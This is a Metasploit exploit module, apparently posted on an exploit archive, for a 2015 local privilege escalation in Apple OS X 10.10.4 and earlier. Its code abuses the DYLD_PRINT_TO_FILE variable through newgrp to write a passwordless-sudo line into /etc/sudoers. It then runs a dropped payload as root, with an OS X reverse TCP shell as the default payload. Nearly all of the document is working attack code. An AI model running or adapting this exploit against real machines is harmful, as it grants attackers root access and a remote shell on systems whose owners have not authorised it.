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Apple OS X DYLD_PRINT_TO_FILE Privilege Escalation

Posted on 24 July 2015

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit4 < Msf::Exploit::Local

 Rank = GreatRanking

 include Msf::Post::OSX::System
 include Msf::Exploit::EXE
 include Msf::Exploit::FileDropper

 def initialize(info = {})
 super(update_info(info,
 'Name' => 'Apple OS X DYLD_PRINT_TO_FILE Privilege Escalation',
 'Description' => %q{
 In Apple OS X 10.10.4 and prior, the DYLD_PRINT_TO_FILE environment
 variable is used for redirecting logging data to a file instead of
 stderr. Due to a design error, this feature can be abused by a local
 attacker to write arbitrary files as root via restricted, SUID-root
 binaries.
 },
 'Author' => [
 'Stefan Esser', # Vulnerability discovery and PoC
 'joev' # Copy/paste monkey
 ],
 'References' => [
 ['URL', 'https://www.sektioneins.de/en/blog/15-07-07-dyld_print_to_file_lpe.html'],
 ['URL', 'https://www.reddit.com/r/netsec/comments/3e34i2/os_x_1010_dyld_print_to_file_local_privilege/']
 ],
 'DisclosureDate' => 'Jul 21 2015',
 'License' => MSF_LICENSE,
 'Platform' => 'osx',
 'Arch' => ARCH_X86_64,
 'SessionTypes' => ['shell'],
 'Privileged' => true,
 'Targets' => [
 ['Mac OS X 10.10-10.10.4', {}]
 ],
 'DefaultTarget' => 0,
 'DefaultOptions' => {
 'PAYLOAD' => 'osx/x64/shell_reverse_tcp'
 }
 ))

 register_options([
 OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes'])
 ])
 end

 def exploit
 print_status("Writing payload to `#{payload_file}'")
 write_file(payload_file, binary_payload)
 register_file_for_cleanup(payload_file)
 cmd_exec("chmod +x #{payload_file}")

 print_status("Executing exploit at `#{payload_file}'...")
 cmd_exec(sploit)
 end

 def check
 (ver?) ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe
 end

 def ver?
 Gem::Version.new(get_sysinfo['ProductVersion']).between?(
 Gem::Version.new('10.10.0'), Gem::Version.new('10.10.4')
 )
 end

 def sploit
 %Q{/bin/sh -c "echo 'echo \"$(whoami) ALL=(ALL) NOPASSWD:ALL\" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo #{payload_file} &"}
 end

 def binary_payload
 Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
 end

 def payload_file
 @payload_file ||=
 "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}"
 end

end

 

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